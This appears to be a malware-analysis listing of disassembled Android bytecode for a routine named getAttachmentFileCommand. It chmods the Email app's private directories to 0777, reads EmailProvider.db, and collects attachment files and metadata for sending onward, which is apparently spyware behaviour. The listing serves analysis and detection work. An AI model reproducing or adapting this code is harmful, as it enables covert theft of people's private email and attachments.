      • GetContentMail getAttachmentFileCommand chank error
      • GetContentMail getAttachmentFileCommand- file does not exist
      • getAttachmentFileCommand- no URI
      • GetContentMail getAttachmentFileCommand finaly-
      • get mail Throwable-
      Position Instruction Meta Information
      0try_start_0:
      1invoke-static {}, Lcom/network/b/b;->c()Z
      2move-result v1
      3if-nez v1, :cond_c
      5const-string v1, "GetContentMail getAttachmentFileCommand version too low. returning"
      7invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      8goto_b: return-void
      9cond_c:
      10const-string v1, "GetContentMail getAttachmentFileCommand get attachment start"
      12invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      13move-object/from16 v0, p0
      15iget-object v1, v0, Lcom/network/android/u;->a:Ljava/lang/String;
      17const-string v2, "_"
      19invoke-virtual {v1, v2}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      20move-result-object v1
      21const/4 v2, 0x0
      22aget-object v1, v1, v2
      24const-string v2, "/data/data/com.android.email"
      26const-string v16, "/data/data/com.android.email/databases"
      27new-instance v3, Ljava/lang/StringBuilder;
      29const-string v4, "getContent Mail messages:"
      31invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      33invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      34move-result-object v3
      36invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      37move-result-object v3
      39invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      40new-instance v3, Ljava/io/File;
      42invoke-direct {v3, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      44invoke-virtual {v3}, Ljava/io/File;->exists()Z
      45move-result v3
      46if-nez v3, :cond_6a
      47new-instance v1, Ljava/lang/StringBuilder;
      49const-string v3, "GetContentMail getAttachmentFileCommand DB not exists -> exit!: "
      51invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      53invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      54move-result-object v1
      56invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      57move-result-object v1
      59invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      60try_end_51: goto/16 :goto_b
      61catch_52: move-exception v1
      62new-instance v2, Ljava/lang/StringBuilder;
      64const-string v3, "get mail - "
      66invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      68invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      69move-result-object v3
      71invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      72move-result-object v2
      74invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      75move-result-object v2
      77invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      78goto/16 :goto_b
      79cond_6a:
      80const-string v5, "/data/data/com.android.email/databases/"
      81const/4 v3, 0x0
      82const/4 v2, 0x0
      83const/4 v4, 0x0
      84new-instance v6, Ljava/util/concurrent/locks/ReentrantReadWriteLock;
      86invoke-direct {v6}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;-><init>()V
      88invoke-virtual {v6}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;->readLock()Ljava/util/concurrent/locks/ReentrantReadWriteLock$ReadLock;
      89try_end_77: move-result-object v17
      90try_start_78:
      91const-string v6, "chmod 0777 /data/data/com.android.email; chmod 0777 /data/data/com.android.email/databases; "
      93invoke-static {v6}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      95const-string v6, "0777"
      96move-object/from16 v0, v16
      98invoke-static {v0, v6}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;)V
      100invoke-interface/range {v17 .. v17}, Ljava/util/concurrent/locks/Lock;->lock()V
      101new-instance v6, Ljava/lang/StringBuilder;
      103invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      105invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      106move-result-object v5
      108const-string v6, "EmailProvider.db"
      110invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      111move-result-object v5
      113invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      114move-result-object v5
      115const/4 v6, 0x0
      116const/16 v7, 0x10
      118invoke-static {v5, v6, v7}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      119try_end_a0: move-result-object v14
      120try_start_a1: new-instance v2, Ljava/lang/StringBuilder;
      122const-string v5, "select * from Message where _id = \'"
      124invoke-direct {v2, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      126invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      127move-result-object v1
      129const-string v2, "\' "
      131invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      132move-result-object v1
      134invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      135move-result-object v1
      136new-instance v2, Ljava/lang/StringBuilder;
      138const-string v5, "GetContentMail getAttachmentFileCommand get mail query: "
      140invoke-direct {v2, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      142invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      143move-result-object v2
      145invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      146move-result-object v2
      148invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      149const/4 v2, 0x0
      151invoke-virtual {v14, v1, v2}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      152try_end_cc: move-result-object v15
      153if-nez v15, :cond_fc
      154try_start_cf:
      155const-string v1, "GetContentMail getAttachmentFileCommand Provider == null return"
      157invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      158try_end_d4: if-eqz v14, :cond_d9
      159try_start_d6:
      160invoke-virtual {v14}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      161cond_d9: if-eqz v15, :cond_de
      163invoke-interface {v15}, Landroid/database/Cursor;->close()V
      164cond_de:
      165invoke-interface/range {v17 .. v17}, Ljava/util/concurrent/locks/Lock;->unlock()V
      166try_end_e1: goto/16 :goto_b
      167catch_e3: move-exception v1
      168try_start_e4: new-instance v2, Ljava/lang/StringBuilder;
      170const-string v3, "get Mail finally- "
      172invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      174invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      175move-result-object v3
      177invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      178move-result-object v2
      180invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      181move-result-object v2
      183invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      184try_end_fa: goto/16 :goto_b
      185cond_fc:
      186const-string v5, ""
      188invoke-interface {v15}, Landroid/database/Cursor;->moveToFirst()Z
      189move-result v1
      190if-eqz v1, :cond_120
      192const-string v1, "timeStamp"
      194invoke-interface {v15, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      195move-result v1
      197invoke-interface {v15, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      198move-result-object v5
      199new-instance v1, Ljava/lang/StringBuilder;
      201const-string v2, "GetContentMail getAttachmentFileCommand date: "
      203invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      205invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      206move-result-object v1
      208invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      209move-result-object v1
      211invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      212cond_120: new-instance v1, Ljava/lang/StringBuilder;
      214const-string v2, "GetContentMail getAttachmentFileCommand date: "
      216invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      218invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      219move-result-object v1
      221invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      222move-result-object v1
      224invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      226const-string v1, "GetContentMail getAttachmentFileCommand getAttachments"
      228invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      229try_end_137: const/4 v2, 0x0
      230try_start_138: new-instance v1, Ljava/lang/StringBuilder;
      232const-string v3, "select * from Attachment where _id = \'"
      234invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      235move-object/from16 v0, p0
      237iget-object v3, v0, Lcom/network/android/u;->b:Ljava/lang/String;
      239invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      240move-result-object v1
      242const-string v3, "\'"
      244invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      245move-result-object v1
      247invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      248move-result-object v1
      249new-instance v3, Ljava/lang/StringBuilder;
      251const-string v6, "GetContentMail getAttachmentFileCommand query: "
      253invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      255invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      256move-result-object v3
      258invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      259move-result-object v3
      261invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      262const/4 v3, 0x0
      264invoke-virtual {v14, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      265try_end_167: move-result-object v13
      266if-eqz v13, :cond_57e
      267try_start_16a:
      268invoke-interface {v13}, Landroid/database/Cursor;->getCount()I
      269move-result v1
      270if-lez v1, :cond_4c0
      271new-instance v1, Ljava/lang/StringBuilder;
      273const-string v2, "GetContentMail getAttachmentFileCommand size: "
      275invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      277invoke-interface {v13}, Landroid/database/Cursor;->getCount()I
      278move-result v2
      280invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      281move-result-object v1
      283invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      284move-result-object v1
      286invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      287goto_186:
      288invoke-interface {v13}, Landroid/database/Cursor;->moveToNext()Z
      289try_end_189: move-result v1
      290if-eqz v1, :cond_4f7
      291try_start_18c:
      292const-string v1, "fileName"
      294invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      295move-result v1
      297invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      298move-result-object v6
      300const-string v1, "size"
      302invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      303move-result v1
      305invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      306move-result-object v7
      308const-string v1, "mimeType"
      310invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      311move-result v1
      313invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      314move-result-object v8
      316const-string v1, "_id"
      318invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      319move-result v1
      321invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      322move-result-object v9
      324const-string v1, "contentUri"
      326invoke-interface {v13, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      327move-result v1
      329invoke-interface {v13, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      330move-result-object v1
      331new-instance v2, Ljava/lang/StringBuilder;
      333const-string v3, "GetContentMail getAttachmentFileCommand: "
      335invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      337invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      338move-result-object v2
      340invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      341move-result-object v2
      343invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      344try_end_1d0: const/4 v3, 0x0
      345if-eqz v1, :cond_489
      346try_start_1d3:
      347invoke-virtual {v1}, Ljava/lang/String;->length()I
      348move-result v2
      349if-lez v2, :cond_489
      350new-instance v2, Ljava/lang/StringBuilder;
      352const-string v10, "GetContentMail getAttachmentFileCommand URI: "
      354invoke-direct {v2, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      356invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      357move-result-object v2
      359invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      360move-result-object v2
      362invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      364invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
      365move-result-object v1
      367invoke-virtual {v1}, Landroid/net/Uri;->getScheme()Ljava/lang/String;
      368move-result-object v2
      370const-string v10, "file"
      372invoke-virtual {v10, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      373move-result v10
      374if-eqz v10, :cond_271
      376invoke-virtual {v1}, Landroid/net/Uri;->getPath()Ljava/lang/String;
      377try_end_1fe: move-result-object v2
      378try_start_1ff: new-instance v1, Ljava/lang/StringBuilder;
      380const-string v3, "GetContentMail getAttachmentFileCommand copy local: "
      382invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      384invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      385move-result-object v1
      387invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      388move-result-object v1
      390invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      391try_end_211: move-object v11, v2
      392goto_212: new-instance v1, Ljava/io/File;
      394invoke-direct {v1, v11}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      396invoke-static {v11}, Lcom/network/android/m;->b(Ljava/lang/String;)Ljava/util/HashMap;
      397try_end_21a: move-result-object v12
      398try_start_21b:
      399const-string v2, "0777"
      401invoke-static {v2, v11}, Lcom/network/android/m;->b(Ljava/lang/String;Ljava/lang/String;)V
      403invoke-virtual {v1}, Ljava/io/File;->exists()Z
      404move-result v2
      405if-eqz v2, :cond_452
      407invoke-virtual {v1}, Ljava/io/File;->length()J
      408move-result-wide v2
      409long-to-int v2, v2
      410new-instance v3, Ljava/lang/StringBuilder;
      412const-string v4, "GetContentMail getAttachmentFileCommand attachmentLength: "
      414invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      416invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      417move-result-object v3
      419invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      420move-result-object v3
      422invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      423if-nez v2, :cond_2b9
      425const-string v1, "GetContentMail getAttachmentFileCommand 0 chankData fileSize"
      427invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      428try_end_244: if-eqz v13, :cond_249
      429try_start_246:
      430invoke-interface {v13}, Landroid/database/Cursor;->close()V
      431goto_249: if-eqz v14, :cond_24e
      432try_start_24b:
      433invoke-virtual {v14}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      434cond_24e: if-eqz v15, :cond_253
      436invoke-interface {v15}, Landroid/database/Cursor;->close()V
      437cond_253:
      438invoke-interface/range {v17 .. v17}, Ljava/util/concurrent/locks/Lock;->unlock()V
      439try_end_256: goto/16 :goto_b
      440catch_258: move-exception v1
      441try_start_259: new-instance v2, Ljava/lang/StringBuilder;
      443const-string v3, "get Mail finally- "
      445invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      447invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      448move-result-object v3
      450invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      451move-result-object v2
      453invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      454move-result-object v2
      456invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      457try_end_26f: goto/16 :goto_b
      458cond_271:
      459const-string v10, "content"
      461invoke-virtual {v10, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      462move-result v2
      463if-eqz v2, :cond_65e
      465invoke-virtual {v1}, Landroid/net/Uri;->getPathSegments()Ljava/util/List;
      466move-result-object v2
      467const/4 v1, 0x0
      469invoke-interface {v2, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
      470move-result-object v1
      471check-cast v1, Ljava/lang/String;
      472const/4 v10, 0x1
      474invoke-interface {v2, v10}, Ljava/util/List;->get(I)Ljava/lang/Object;
      475move-result-object v2
      476check-cast v2, Ljava/lang/String;
      477new-instance v10, Ljava/lang/StringBuilder;
      479const-string v11, "/data/data/com.android.email/cache/"
      481invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      483invoke-virtual {v10, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      484move-result-object v1
      486const-string v10, ".db_att/"
      488invoke-virtual {v1, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      489move-result-object v1
      491invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      492move-result-object v1
      494invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      495try_end_2a3: move-result-object v2
      496try_start_2a4: new-instance v1, Ljava/lang/StringBuilder;
      498const-string v3, "GetContentMail getAttachmentFileCommand cashed content path: "
      500invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      502invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      503move-result-object v1
      505invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      506move-result-object v1
      508invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      509try_end_2b6: move-object v11, v2
      510goto/16 :goto_212
      511cond_2b9:
      512invoke-virtual {v1}, Ljava/io/File;->length()J
      513move-result-wide v3
      514const-wide/32 v18, 0x19000
      515cmp-long v3, v3, v18
      516if-gez v3, :cond_3e1
      517new-array v10, v2, [B
      518new-instance v2, Ljava/io/FileInputStream;
      520invoke-direct {v2, v1}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      522invoke-virtual {v2, v10}, Ljava/io/FileInputStream;->read([B)I
      524invoke-virtual {v2}, Ljava/io/FileInputStream;->close()V
      525move-object/from16 v0, p0
      527iget-object v1, v0, Lcom/network/android/u;->a:Ljava/lang/String;
      528new-instance v2, Ljava/lang/StringBuilder;
      530invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      532invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      533move-result-object v2
      535const-string v3, "-single"
      537invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      538move-result-object v2
      540invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      541move-result-object v2
      542move-object/from16 v0, p0
      544iget-object v3, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      545move-object/from16 v0, p0
      547iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      549invoke-static/range {v1 .. v10}, Lcom/network/android/r;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;[B)V
      550move-object/from16 v0, p0
      552iget-object v1, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      554invoke-static {v1}, Lcom/network/android/j;->a(Landroid/content/Context;)V
      555try_end_2fa: move-object v4, v12
      556goto_2fb: if-eqz v11, :cond_186
      557if-eqz v4, :cond_186
      558try_start_2ff:
      559invoke-static {v4, v11}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;)V
      560try_end_302: goto/16 :goto_186
      561catch_304: move-exception v1
      562try_start_305: new-instance v2, Ljava/lang/StringBuilder;
      564const-string v3, "GetContentMail getAttachmentFileCommand- "
      566invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      568invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      569move-result-object v3
      571invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      572move-result-object v2
      574invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      575move-result-object v2
      577invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      578const/4 v1, 0x1
      579const/16 v2, 0x78
      581const-string v3, "GET_ATTACHMENT_FAIL"
      583invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      584move-object/from16 v0, p0
      586iget-object v1, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      587if-eqz v1, :cond_186
      588const/4 v1, 0x1
      589const/16 v2, 0x79
      591const-string v3, "GET_ATTACHMENT_NOT_AVAILABLE"
      592move-object/from16 v0, p0
      594iget-object v6, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      596invoke-static {v6}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      597move-result-object v6
      599invoke-static {v1, v2, v3, v6}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      600const/4 v1, 0x1
      601const/16 v2, -0x3cae
      603const-string v3, ""
      604move-object/from16 v0, p0
      606iget-object v6, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      608invoke-static {v6}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      609move-result-object v6
      611invoke-static {v1, v2, v3, v6}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      612move-object/from16 v0, p0
      614iget-object v1, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      616const-string v2, "httpPing"
      618invoke-static {v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      619try_end_352: goto/16 :goto_186
      620catch_354: move-exception v1
      621move-object v2, v13
      622try_start_356: new-instance v3, Ljava/lang/StringBuilder;
      624const-string v4, "GetContentMail getAttachmentFileCommand- "
      626invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      628invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      629move-result-object v4
      631invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      632move-result-object v3
      634invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      635move-result-object v3
      637invoke-static {v3, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      638const/4 v1, 0x1
      639const/16 v3, 0x78
      641const-string v4, "GET_ATTACHMENT_FAIL"
      643invoke-static {v1, v3, v4}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      644move-object/from16 v0, p0
      646iget-object v1, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      647if-eqz v1, :cond_3a3
      648const/4 v1, 0x1
      649const/16 v3, 0x78
      651const-string v4, "GET_ATTACHMENT_FAIL"
      652move-object/from16 v0, p0
      654iget-object v5, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      656invoke-static {v5}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      657move-result-object v5
      659invoke-static {v1, v3, v4, v5}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      660const/4 v1, 0x1
      661const/16 v3, -0x3cae
      663const-string v4, ""
      664move-object/from16 v0, p0
      666iget-object v5, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      668invoke-static {v5}, Lcom/network/h/b;->c(Ljava/lang/String;)Ljava/lang/Integer;
      669move-result-object v5
      671invoke-static {v1, v3, v4, v5}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;Ljava/lang/Object;)V
      672move-object/from16 v0, p0
      674iget-object v1, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      676const-string v3, "httpPing"
      678invoke-static {v1, v3}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      679cond_3a3: if-eqz v2, :cond_3a8
      680try_start_3a5:
      681invoke-interface {v2}, Landroid/database/Cursor;->close()V
      682try_end_3a8:
      683const-string v1, "chmod 0751 /data/data/com.android.email; chmod 0771 /data/data/com.android.email/databases; "
      685invoke-static {v1}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      687const-string v1, "0666"
      688move-object/from16 v0, v16
      690invoke-static {v0, v1}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;)V
      692const-string v1, "getAttachmentFileCommand end"
      694invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      695try_end_3b9: if-eqz v14, :cond_3be
      696try_start_3bb:
      697invoke-virtual {v14}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      698cond_3be: if-eqz v15, :cond_3c3
      700invoke-interface {v15}, Landroid/database/Cursor;->close()V
      701cond_3c3:
      702invoke-interface/range {v17 .. v17}, Ljava/util/concurrent/locks/Lock;->unlock()V
      703try_end_3c6: goto/16 :goto_b
      704catch_3c8: move-exception v1
      705try_start_3c9: new-instance v2, Ljava/lang/StringBuilder;
      707const-string v3, "get Mail finally- "
      709invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      711invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      712move-result-object v3
      714invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      715move-result-object v2
      717invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      718move-result-object v2
      720invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      721try_end_3df: goto/16 :goto_b
      722try_start_3e1: move-object/from16 v0, p0
      724iget-object v3, v0, Lcom/network/android/u;->a:Ljava/lang/String;
      725move-object/from16 v0, p0
      727iget-object v4, v0, Lcom/network/android/u;->d:Ljava/lang/String;
      728move-object/from16 v0, p0
      730iget-object v1, v0, Lcom/network/android/u;->c:Landroid/content/Context;
      731move-object v10, v11
      733invoke-static/range {v3 .. v10}, Lcom/network/android/r;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
      734try_end_3f1: goto/16 :goto_2fa
      735catch_3f3: move-exception v1
      736try_start_3f4: new-instance v2, Ljava/lang/StringBuilder;
      738const-string v3, "GetContentMail getAttachmentFileCommand chank error "
      740invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      742invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      743move-result-object v3
      745invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      746move-result-object v2
      748invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      749move-result-object v2
